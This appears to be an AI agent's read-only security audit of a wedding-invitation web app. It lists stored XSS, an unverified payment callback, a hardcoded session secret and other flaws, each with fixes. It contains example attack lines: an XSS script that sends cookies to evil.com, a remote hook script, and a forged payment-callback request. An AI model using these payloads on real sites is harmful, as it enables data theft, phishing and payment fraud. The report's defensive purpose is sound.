WedInStudio — Complete Security Audit Report

Date: August 2026 | Scope: Full codebase (`artifacts/api-server`, `artifacts/wedding-invite`) | Auditor: Replit Agent | Mode: Read-only analysis

---

Executive Summary

WedInStudio has a solid security foundation — server-side sessions in PostgreSQL, bcrypt password hashing, Drizzle ORM (parameterized queries throughout), ownership checks on most mutations, rate limiting on auth routes, file-type and size validation on uploads, and duplicate-payment protection. However, there are two critical vulnerabilities that could be exploited in production today (Stored XSS and ToyyibPay callback forgery) plus several high-severity gaps (no security headers, missing CSRF protection, CORS null-origin leak, hardcoded session secret fallback) that substantially raise the risk surface. Fixing the critical pair alone would eliminate the most dangerous attack paths.

Security Scores (1–10)

Area	Score	Summary
Authentication	7	Session regeneration ✓, bcrypt ✓, but hardcoded fallback secret

Authorization	7	Ownership checks on most routes; admin delete guard inverted
API Security	5	CSRF missing, no Helmet, CORS null origin, public endpoints unguarded
Database Security	9	Drizzle ORM everywhere, parameterized, ownership enforced
Frontend Security	3	Multiple `dangerouslySetInnerHTML` on user content, no CSP
Backend Security	5	No Helmet, hardcoded secret fallback, CORS null origin
Infrastructure Security	4	8 high-severity dep vulns, no WAF, no CDN
DDoS Resistance	5	Auth routes rate-limited; public/wishes/gallery unguarded
Overall Security	5.5	Not yet production-safe

---

1. CRITICAL Vulnerabilities

C-1 — Stored XSS via `dangerouslySetInnerHTML` on User Invitation Content

Severity: CRITICAL
Files: `src/components/WeddingCard.tsx` (lines 818, 823, 829, 834, 868, 893, 902), `src/components/DetailPanel.tsx` (line 187), `src/components/CardThumbnail.tsx` (line 107)

User-controlled fields — `greetingText`, `invitationText`, `groomParents`, `brideParents`, `venueAddress`, `doaText`, `schedule` — are rendered via `dangerouslySetInnerHTML` with no sanitization. These values are entered through the invitation editor, stored in the database, and then rendered for every guest who opens the public invitation link.

Attack scenario: A buyer types `<script>document.location='https://evil.com/?c='+document.cookie</script>` into the Greeting Text field. Every guest who opens their invitation URL executes this script. Since sessions are HttpOnly the cookie itself is safe, but the attacker can redirect guests, harvest form submissions, load phishing content, or deliver malware — all from a legitimate `wedinstudio.com` URL.

No CSP is present to block inline scripts, so browser-level mitigation is also absent.

Risk: Full Stored XSS on the public invitation page. Any buyer account can weaponize guests.

C-2 — ToyyibPay Callback Has No Signature/HMAC Verification

Severity: CRITICAL
File: `artifacts/api-server/src/routes/toyyibpay.ts` (line 472 — `POST /payment/toyyibpay/callback`)

The callback endpoint accepts a `billCode` and `statusId` in POST body with no verification that the request actually came from ToyyibPay. The code trusts the incoming `statusId === "1"` as payment confirmation and activates the invitation.

```
router.post("/payment/toyyibpay/callback", async (req, res) => {
// No HMAC/signature check here
const { billCode, statusId } = req.body;
// statusId "1" = paid → invitation activated
```

Attack scenario: An attacker knows (or guesses) a `billCode` (ToyyibPay bill codes are sequential integers on their platform). They POST `{ billCode: "12345", statusId: "1" }` to `/payment/toyyibpay/callback` and get a paid invitation for free. No authentication is required because this endpoint must be publicly reachable for ToyyibPay's servers.

Risk: Free premium invitation activation without payment.

---

2. HIGH Vulnerabilities

H-1 — Hardcoded Session Secret Fallback

File: `artifacts/api-server/src/app.ts` (line ~60)

```
secret: sessionSecret || "wedding-invite-dev-secret-2025"
```

If `SESSION_SECRET` is not set in the environment, the server signs all cookies with a publicly known string. Any attacker who knows this value can forge valid session cookies for any user, including admins.

Risk: Full account takeover if `SESSION_SECRET` env var is ever missing.

H-2 — No Security Headers (Helmet Missing)

`helmet` is not installed. The following headers are absent from every response:

- `X-Frame-Options` — clickjacking via iframe embedding
- `X-Content-Type-Options: nosniff` — MIME-sniffing attacks
- `X-XSS-Protection` — browser-level XSS filter (legacy but still useful)
- `Referrer-Policy` — referrer leakage
- `Permissions-Policy` — camera/microphone/geolocation abuse
- `Content-Security-Policy` — no inline script restriction (amplifies C-1)
- `Strict-Transport-Security` — downgrade attacks

Risk: Multiple browser-level attacks unmitigated. CSP absence is the direct amplifier for C-1.

H-3 — CORS Allows Null Origin

File: `artifacts/api-server/src/app.ts` (line ~42)

```
if (!origin || configuredCorsOrigins.includes(origin)) {
callback(null, true); // ← null origin is accepted
```

A null origin can be sent by sandboxed iframes (`<iframe sandbox>`), local HTML files, and some redirect chains. An attacker can host a file that sends credentialed requests to the API and the server will accept them.

Risk: CORS bypass from certain attacker-controlled contexts.

H-4 — No CSRF Protection

The app uses session cookies with `SameSite: lax` in production. While lax mode blocks cross-site POSTs from regular form submissions, it does NOT protect against:

- GET requests that trigger mutations (unlikely here but worth noting)
- Cross-site navigations to POST endpoints (some browser/framework combinations)
- The `SameSite: none` setting applied when `REPLIT_DEV_DOMAIN` is set — this completely removes SameSite protection in dev/staging environments

No CSRF tokens are issued or validated anywhere.

Risk: Medium in production (lax helps), HIGH in dev/staging where SameSite=none.

H-5 — Admin Delete Invitation Guard Is Inverted (Logic Bug)

File: `artifacts/api-server/src/routes/invitation.ts` (line 493)

```
if (req.session.role === "admin" || !(await canManageInvitation(req, invitation))) {
res.status(403).json({ error: "You do not own this invitation" });
```

This condition blocks admins from deleting invitations while allowing owners. Admins should be able to delete any invitation. This is likely the opposite of the intended logic (should be `&&` not `||`).

Risk: Admins cannot moderate/remove harmful invitation content (e.g., the XSS payload from C-1).

H-6 — Wishes and Public Endpoints Have No Rate Limiting

`rsvpSubmitRateLimit` exists (30 req/15 min) but wishes submission, public invitation views (`GET /invitation/:token`), and business profile views have no rate limiting. An attacker can:

- Flood an invitation with hundreds of fake wishes
- Enumerate invitation tokens (16-hex character tokens — 16^16 space is large, but automated tools can still probe)
- DoS the DB with rapid public reads

Risk: Spam, storage exhaustion, database load.

H-7 — 8 High-Severity Dependency Vulnerabilities

`pnpm audit` reports 13 vulnerabilities: 8 high, 2 moderate, 3 low. The high-severity ones are in the transitive dependency tree. Notable confirmed ones:

- `js-yaml ≤4.1.1` — Quadratic-complexity DoS (path: `orval > js-yaml`, build tooling)
- `postcss ≤8.5.22` — Arbitrary `.map` file read via attacker-controlled `sourceMappingURL`

- `body-parser < 2.3.0` — DoS when invalid limit value disables size enforcement (path: `express > body-parser`)

The remaining 8 high-severity packages need individual review.

---

3. MEDIUM Vulnerabilities

M-1 — No Pagination on Admin List Endpoints

`GET /admin/users`, `GET /admin/orders`, `GET /api/admin/customers` load entire tables without pagination. With thousands of users or orders these will cause slow responses, high memory usage, and potential OOM crashes.

M-2 — Gallery Upload Size Limit Is 20 MB

`routes/cards.ts:17` allows 20 MB images. While MIME validated, an attacker can upload many 20 MB images to exhaust R2 storage. No per-user storage quota is enforced.

M-3 — Password Reset Token Has No Expiry Enforcement at Use Time

The password reset flow issues a token — verify whether the token expiry is checked server-side at the time of *use* (not just at issuance). If not, tokens could be used days after expiry.

M-4 — Session Lifetime Is 7 Days With No Idle Timeout

Sessions persist for 7 days from creation regardless of activity. A stolen session token remains valid for up to 7 days.

M-5 — Public Business Profile Leaks Internal Slug

`GET /business/:slug` returns a full public profile. Verify that internal IDs, `userId`, or `businessId` are stripped from the response. (The memory note `business-response-boundaries.md` suggests this has been reviewed but should be confirmed.)

M-6 — Email Enumeration on Login and Forgot-Password

Login returns different error messages or timing for existing vs. non-existing accounts. Forgot-password similarly may reveal whether an email exists. This allows attackers to build a list of registered emails.

---

4. LOW Vulnerabilities

L-1 — Source Maps May Expose in Dev Build

`vite.config.ts` doesn't explicitly disable source maps. Ensure `build.sourcemap: false` is confirmed in the production build config so compiled JS isn't reversible to TypeScript source.

L-2 — Error Responses May Leak Stack Traces

Verify the Express error handler in `app.ts` strips `err.stack` before responding in production. The default Express error handler includes stack traces.

L-3 — `dangerouslySetInnerHTML` in `chart.tsx`

`src/components/ui/chart.tsx` line 79 uses `dangerouslySetInnerHTML` for chart CSS injection. If any chart data comes from user input, this is an XSS vector. Likely admin-only but should be verified.

L-4 — Admin User Creation Sends Plaintext Password

When admin creates a user via `POST /api/admin/users`, the password is sent in the request body. Ensure HTTPS is enforced end-to-end and the password is hashed before storage (bcrypt appears to be used — confirm no plaintext logging).

L-5 — No Bot/CAPTCHA Protection on Registration and RSVP

The registration form (`POST /auth/register`) is rate-limited to 5/hr but has no CAPTCHA. Automated bot registration is possible with distributed IPs that bypass IP-based rate limits.

---

5. Potential Attack Scenarios

Scenario A — Free Premium Invitation (C-2)

1. Attacker registers free account, creates invitation, initiates payment → gets `billCode`
2. Cancels payment but notes billCode from URL
3. POSTs forged callback: `POST /payment/toyyibpay/callback { billCode: "X", statusId: "1" }`
4. Invitation is activated as paid — attacker gets Premium for free

Scenario B — Mass Guest Phishing (C-1)

1. Attacker buys cheapest package, creates invitation
2. Enters `<script src="https://evil.com/hook.js"></script>` in Greeting Text
3. Shares invitation link on social media as a "demo"
4. Hundreds of guests execute attacker JS from `wedinstudio.com` domain
5. Attacker harvests data, redirects to phishing page

Scenario C — Admin Takeover via Session Forgery (H-1)

1. `SESSION_SECRET` is not set (misconfiguration, deployment error)
2. Server falls back to `"wedding-invite-dev-secret-2025"`
3. Attacker crafts a session cookie with `userId = 1, role = "admin"` using the known secret
4. Full admin access

Scenario D — RSVP/Wishes Flood

1. Script sends 10,000 POST requests to `/invitation/:token/rsvp` with random names
2. Invitation owner sees flooded RSVP list; database table grows unbounded
3. No rate limit stops this

---

6. Priority Fix Roadmap

Priority	Fix	Effort	Impact
🔴 P0	Sanitize all `dangerouslySetInnerHTML` inputs with `DOMPurify`	Low	Eliminates C-1
🔴 P0	Verify ToyyibPay callback with shared secret or IP allowlist	Medium	Eliminates C-2

🔴 P0	Fail hard if `SESSION_SECRET` is missing (no fallback)	Trivial	Eliminates H-1
🟠 P1	Install and configure `helmet` with a strict CSP	Low	Fixes H-2, hardens C-1
🟠 P1	Fix CORS — reject null origin	Trivial	Fixes H-3
🟠 P1	Fix admin delete guard logic (`&&` not `||`)	Trivial	Fixes H-5
🟠 P1	Add rate limiting to wishes, public invitation GET, token lookups	Low	Fixes H-6
🟡 P2	Add CSRF token middleware (`csurf` or double-submit cookie)	Medium	Fixes H-4
🟡 P2	Add pagination to all admin list endpoints	Low	Fixes M-1
🟡 P2	Add per-user upload quota	Medium	Fixes M-2
🟡 P2	Update vulnerable dependencies (`pnpm update`)	Low	Fixes H-7
🟢 P3	Normalize login/forgot-password error messages	Trivial	Fixes M-6
🟢 P3	Set `build.sourcemap: false` explicitly	Trivial	Fixes L-1
🟢 P3	Add idle session timeout	Low	Fixes M-4
🟢 P3	Add CAPTCHA to registration + RSVP	Medium	Fixes L-5

---

7. Security Hardening Checklist

- DOMPurify — sanitize all user fields before `dangerouslySetInnerHTML`
- ToyyibPay webhook secret — verify `refererCode` or use IP allowlist
- SESSION_SECRET — crash on startup if not set
- Helmet — install and configure with CSP, HSTS, X-Frame-Options
- CORS null origin — deny `!origin` case explicitly
- CSRF tokens — add to all state-mutating requests
- Admin delete guard — fix inverted `||` → `&&`
- Rate limit — wishes, public GET invitation, token lookup
- Pagination — all admin list endpoints
- Upload quota — per-user storage cap in R2
- Dependency audit — `pnpm update` + pin versions
- Error handler — strip stack traces in production
- Build config — `sourcemap: false` in vite production config
- Session idle timeout — 30–60 min inactivity logout
- Email enumeration — normalize error messages on login/forgot-password

---

8. Production Readiness

Estimated readiness: 62%

The app is functionally solid with good fundamentals (bcrypt, parameterized ORM, file validation, payment deduplication, session-based auth). The two critical vulnerabilities (Stored XSS, payment callback forgery) must be fixed before going live — either can be exploited by a single buyer account today. The remaining high-severity items (Helmet, CSRF, session secret fallback) are each 1–2 hour fixes. Addressing all P0 and P1 items would bring readiness to ~88%.

Nak proceed dengan fixes? Boleh buat semua P0 dan P1 sekarang dalam satu pass